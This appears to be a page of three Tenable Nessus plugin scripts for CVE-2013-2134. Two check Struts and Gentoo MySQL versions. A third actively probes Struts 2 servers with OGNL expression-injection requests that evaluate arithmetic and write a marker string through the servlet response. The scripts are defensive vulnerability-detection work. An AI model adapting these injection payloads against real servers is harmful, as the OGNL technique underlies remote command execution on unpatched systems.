Vulnerabilities > CVE-2013-2134 - Code Injection vulnerability in Apache Struts

#
# (C) Tenable Network Security, Inc.
#

include("compat.inc");

if (description)
{
  script_id(117389);
  script_version("1.9");
  script_cvs_date("Date: 2019/11/05");

  script_cve_id("CVE-2013-2134", "CVE-2013-2135");
  script_bugtraq_id(60345, 60346);

  script_name(english:"Apache Struts 2.x < 2.3.14.3 RCE (S2-015)");
  script_summary(english:"Checks the Struts 2 version.");

  script_set_attribute(attribute:"synopsis", value:
"A web application running on the remote host uses a Java framework
that is affected by a remote command execution vulnerability.");
  script_set_attribute(attribute:"description", value:
"The version of Apache Struts running on the remote host is 2.x
prior to 2.3.14.3. It, therefore, is affected by a remote command
execution vulnerability.

Note that Nessus has not tested for these issues but has instead
relied only on the application's self-reported version number.");
  script_set_attribute(attribute:"see_also", value:"https://cwiki.apache.org/confluence/display/WW/S2-015");
  script_set_attribute(attribute:"solution", value:
"Upgrade to Apache Struts version 2.3.14.3 or later");
  script_set_cvss_base_vector("CVSS2#AV:N/AC:M/Au:N/C:C/I:C/A:C");
  script_set_cvss_temporal_vector("CVSS2#E:POC/RL:OF/RC:C");
  script_set_cvss3_base_vector("CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H");
  script_set_cvss3_temporal_vector("CVSS:3.0/E:P/RL:O/RC:C");
  script_set_attribute(attribute:"cvss_score_source", value:"CVE-2013-2135");
  script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
  script_set_attribute(attribute:"exploit_available", value:"true");
  script_set_attribute(attribute:"agent", value:"all");


  script_set_attribute(attribute:"vuln_publication_date", value:"2013/06/03");
  script_set_attribute(attribute:"patch_publication_date", value:"2013/06/03");
  script_set_attribute(attribute:"plugin_publication_date", value:"2018/09/10");

  script_set_attribute(attribute:"potential_vulnerability", value:"true");
  script_set_attribute(attribute:"plugin_type", value:"combined");
  script_set_attribute(attribute:"cpe", value:"cpe:/a:apache:struts");
  script_end_attributes();

  script_category(ACT_GATHER_INFO);
  script_family(english:"Misc.");

  script_copyright(english:"This script is Copyright (C) 2018-2019 and is owned by Tenable, Inc. or an Affiliate thereof.");

  script_dependencies("os_fingerprint.nasl", "struts_detect_win.nbin", "struts_detect_nix.nbin", "struts_config_browser_detect.nbin");
  script_require_keys("Settings/ParanoidReport");
  script_require_ports("installed_sw/Apache Struts", "installed_sw/Struts");

  exit(0);
}

include("vcf.inc");

if (report_paranoia < 2) audit(AUDIT_PARANOID);


app_info = vcf::combined_get_app_info(app:"Apache Struts");

vcf::check_granularity(app_info:app_info, sig_segments:3);

constraints = [
  { "min_version" : "2.0.0", "max_version" : "2.3.14.2", "fixed_version" : "2.3.14.3" }
];

vcf::check_version_and_report(app_info:app_info, constraints:constraints, severity:SECURITY_HOLE);

#
# (C) Tenable Network Security, Inc.
#
# The descriptive text and package checks in this plugin were
# extracted from Gentoo Linux Security Advisory GLSA 201409-04.
#
# The advisory text is Copyright (C) 2001-2016 Gentoo Foundation, Inc.
# and licensed under the Creative Commons - Attribution / Share Alike 
# license. See http://creativecommons.org/licenses/by-sa/3.0/
#

include("compat.inc");

if (description)
{
  script_id(77548);
  script_version("1.6");
  script_cvs_date("Date: 2018/07/12 19:01:15");

  script_cve_id("CVE-2013-1861", "CVE-2013-2134", "CVE-2013-3839", "CVE-2013-5767", "CVE-2013-5770", "CVE-2013-5786", "CVE-2013-5793", "CVE-2013-5807", "CVE-2013-5860", "CVE-2013-5881", "CVE-2013-5882", "CVE-2013-5891", "CVE-2013-5894", "CVE-2013-5908", "CVE-2014-0001", "CVE-2014-0384", "CVE-2014-0386", "CVE-2014-0393", "CVE-2014-0401", "CVE-2014-0402", "CVE-2014-0412", "CVE-2014-0420", "CVE-2014-0427", "CVE-2014-0430", "CVE-2014-0431", "CVE-2014-0433", "CVE-2014-0437", "CVE-2014-2419", "CVE-2014-2430", "CVE-2014-2431", "CVE-2014-2432", "CVE-2014-2434", "CVE-2014-2435", "CVE-2014-2436", "CVE-2014-2438", "CVE-2014-2440");
  script_bugtraq_id(58511, 60346, 63105, 63107, 63109, 63113, 63116, 63119, 64849, 64854, 64864, 64868, 64873, 64877, 64880, 64885, 64888, 64891, 64893, 64895, 64896, 64897, 64898, 64904, 64908, 65298, 66835, 66846, 66850, 66853, 66858, 66872, 66875, 66880, 66890, 66896);
  script_xref(name:"GLSA", value:"201409-04");

  script_name(english:"GLSA-201409-04 : MySQL: Multiple vulnerabilities");
  script_summary(english:"Checks for updated package(s) in /var/db/pkg");

  script_set_attribute(
    attribute:"synopsis", 
    value:
"The remote Gentoo host is missing one or more security-related
patches."
  );
  script_set_attribute(
    attribute:"description", 
    value:
"The remote host is affected by the vulnerability described in GLSA-201409-04
(MySQL: Multiple vulnerabilities)

    Multiple vulnerabilities have been discovered in MySQL. Please review
      the CVE identifiers referenced below for details.
  
Impact :

    A local attacker could possibly gain escalated privileges. A remote
      attacker could send a specially crafted SQL query, possibly resulting in
      a Denial of Service condition. A remote attacker could entice a user to
      connect to specially crafted MySQL server, possibly resulting in
      execution of arbitrary code with the privileges of the process.
  
Workaround :

    There is no known workaround at this time."
  );
  script_set_attribute(
    attribute:"see_also",
    value:"https://security.gentoo.org/glsa/201409-04"
  );
  script_set_attribute(
    attribute:"solution", 
    value:
"All MySQL users should upgrade to the latest version:
      # emerge --sync
      # emerge --ask --oneshot --verbose '>=dev-db/mysql-5.5.39'"
  );
  script_set_cvss_base_vector("CVSS2#AV:N/AC:M/Au:N/C:C/I:C/A:C");
  script_set_cvss_temporal_vector("CVSS2#E:POC/RL:OF/RC:C");
  script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
  script_set_attribute(attribute:"exploit_available", value:"true");

  script_set_attribute(attribute:"plugin_type", value:"local");
  script_set_attribute(attribute:"cpe", value:"p-cpe:/a:gentoo:linux:mysql");
  script_set_attribute(attribute:"cpe", value:"cpe:/o:gentoo:linux");

  script_set_attribute(attribute:"patch_publication_date", value:"2014/09/04");
  script_set_attribute(attribute:"plugin_publication_date", value:"2014/09/05");
  script_end_attributes();

  script_category(ACT_GATHER_INFO);
  script_copyright(english:"This script is Copyright (C) 2014-2018 Tenable Network Security, Inc.");
  script_family(english:"Gentoo Local Security Checks");

  script_dependencies("ssh_get_info.nasl");
  script_require_keys("Host/local_checks_enabled", "Host/Gentoo/release", "Host/Gentoo/qpkg-list");

  exit(0);
}


include("audit.inc");
include("global_settings.inc");
include("qpkg.inc");

if (!get_kb_item("Host/local_checks_enabled")) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);
if (!get_kb_item("Host/Gentoo/release")) audit(AUDIT_OS_NOT, "Gentoo");
if (!get_kb_item("Host/Gentoo/qpkg-list")) audit(AUDIT_PACKAGE_LIST_MISSING);


flag = 0;

if (qpkg_check(package:"dev-db/mysql", unaffected:make_list("ge 5.5.39"), vulnerable:make_list("lt 5.5.39"))) flag++;

if (flag)
{
  if (report_verbosity > 0) security_hole(port:0, extra:qpkg_report_get());
  else security_hole(0);
  exit(0);
}
else
{
  tested = qpkg_tests_get();
  if (tested) audit(AUDIT_PACKAGE_NOT_AFFECTED, tested);
  else audit(AUDIT_PACKAGE_NOT_INSTALLED, "MySQL");
}

#
# (C) Tenable Network Security, Inc.
#

include("compat.inc");

if (description)
{
  script_id(66931);
  script_version("1.13");
  script_cvs_date("Date: 2019/11/27");

  script_cve_id("CVE-2013-2134", "CVE-2013-2135");
  script_bugtraq_id(60345, 60346);
  script_xref(name:"EDB-ID", value:"25980");

  script_name(english:"Apache Struts 2 OGNL Expression Handling Double Evaluation Error Remote Command Execution");
  script_summary(english:"Attempts to double evaluate an action.");

  script_set_attribute(attribute:"synopsis", value:
"The remote web server contains a web application that uses a Java
framework that is affected by a remote command execution
vulnerability.");
  script_set_attribute(attribute:"description", value:
"The remote web application appears to use Struts 2, a web framework
that utilizes OGNL (Object-Graph Navigation Language) as an expression
language. Due to a flaw in the evaluation of an OGNL expression, a
remote, unauthenticated attacker can exploit this issue to execute
arbitrary commands on the remote web server by sending a specially
crafted HTTP request.

Note that this plugin will only report the first vulnerable instance
of a Struts 2 application.");
  # https://communities.coverity.com/blogs/security/2013/05/29/struts2-remote-code-execution-via-ognl-injection
  script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?51bd9543");
  script_set_attribute(attribute:"see_also", value:"http://struts.apache.org/docs/s2-015.html");
  script_set_attribute(attribute:"solution", value:
"Upgrade to version 2.3.14.3 or later.");
  script_set_cvss_base_vector("CVSS2#AV:N/AC:M/Au:N/C:C/I:C/A:C");
  script_set_cvss_temporal_vector("CVSS2#E:POC/RL:OF/RC:C");
  script_set_cvss3_base_vector("CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H");
  script_set_cvss3_temporal_vector("CVSS:3.0/E:P/RL:O/RC:C");
  script_set_attribute(attribute:"cvss_score_source", value:"CVE-2013-2134");

  script_set_attribute(attribute:"exploitability_ease", value:"No exploit is required");
  script_set_attribute(attribute:"exploit_available", value:"true");

  script_set_attribute(attribute:"vuln_publication_date", value:"2013/05/29");
  script_set_attribute(attribute:"patch_publication_date", value:"2013/05/29");
  script_set_attribute(attribute:"plugin_publication_date", value:"2013/06/19");

  script_set_attribute(attribute:"plugin_type", value:"remote");
  script_set_attribute(attribute:"cpe", value:"cpe:/a:apache:struts");
  script_end_attributes();

  script_category(ACT_ATTACK);
  script_family(english:"CGI abuses");

  script_copyright(english:"This script is Copyright (C) 2013-2019 and is owned by Tenable, Inc. or an Affiliate thereof.");

  script_dependencies("http_version.nasl", "webmirror.nasl");
  script_require_ports("Services/www", 80, 8080);

  exit(0);
}

include("audit.inc");
include("global_settings.inc");
include("http.inc");
include("misc_func.inc");

port = get_http_port(default:8080);
cgis = get_kb_list('www/' + port + '/cgi');

urls = make_list();
# To identify actions that we can test the exploit on we will look
# for files with the .action / .jsp / .do suffix from the KB.
if (!isnull(cgis))
{
  foreach cgi (cgis)
  {
    match = pregmatch(pattern:"((^.*)(/.+\.act(ion)?)($|\?|;))", string:cgi);
    if (match)
    {
      urls = make_list(urls, match[0]);
      if (!thorough_tests) break;
    }
    match2 = pregmatch(pattern:"(^.*)(/.+\.jsp)$", string:cgi);
    if (!isnull(match2))
    {
      urls = make_list(urls, match2[0]);
      if (!thorough_tests) break;
    }
    match3 = pregmatch(pattern:"(^.*)(/.+\.do)$", string:cgi);
    if (!isnull(match3))
    {
      urls = make_list(urls, match3[0]);
      if (!thorough_tests) break;
    }
    if (cgi =~ "struts2?(-rest)?-showcase")
    {
      urls = make_list(urls, cgi);
      if (!thorough_tests) break;
    }
  }
}
if (thorough_tests)
{
  cgi2 = get_kb_list('www/' + port + '/content/extensions/act*');
  if (!isnull(cgi2)) urls = make_list(urls, cgi2);

  cgi3 = get_kb_list('www/' + port + '/content/extensions/jsp');
  if (!isnull(cgi3)) urls = make_list(urls, cgi3);

  cgi4 = get_kb_list('www/' + port + '/content/extensions/do');
  if (!isnull(cgi4)) urls = make_list(urls, cgi4);
}

# Always check web root
urls = make_list(urls, "/");

# Struts is slow
timeout = get_read_timeout() * 2;
if(timeout < 10)
  timeout = 10;
http_set_read_timeout(timeout);

urls = list_uniq(urls);

foreach url (urls)
{
  magic = rand();
  vuln = FALSE;

  vuln_url = url + "/${" + magic + "+5}.action";

  res = http_send_recv3(
    method : "GET",
    port   : port,
    item   : vuln_url,
    fetch404     : TRUE,
    exit_on_fail : TRUE
  );

  if (
     (res[0] =~ "404 Not Found") &&
     ((magic + 5) >< res[2])
  )
  {
      vuln = TRUE;
      output = strstr(res[2], "<h1>");
      break;
  }

  msg = SCRIPT_NAME - ".nasl" + "-" + magic;
  vuln_url = url + "/${%23w%3d%23context.get('com.opensymphony.xwork2." +
    "dispatcher.HttpServletResponse').getWriter(),"+
    "%23w.print('Nessus%20Response:%20'),%23w.println('" +msg+
    "'),%23w.flush(),%23w.close()}.action";

  res = http_send_recv3(
    method : "GET",
    port   : port,
    item   : vuln_url,
    exit_on_fail : TRUE
  );

  if (
    (res[0] =~ "200 OK") &&
    (res[2] =~ "^Nessus Response: "+msg)
  )
  {
    vuln = TRUE;
    output = chomp(res[2]);
    break;
  }
}

if (!vuln) exit(0, 'No vulnerable applications were detected on the web server listening on port '+port+'.');

security_report_v4(
  port       : port,
  severity   : SECURITY_HOLE,
  generic    : TRUE,
  line_limit : 3,
  request    : make_list(build_url(qs:vuln_url, port:port)),
  output     : output
);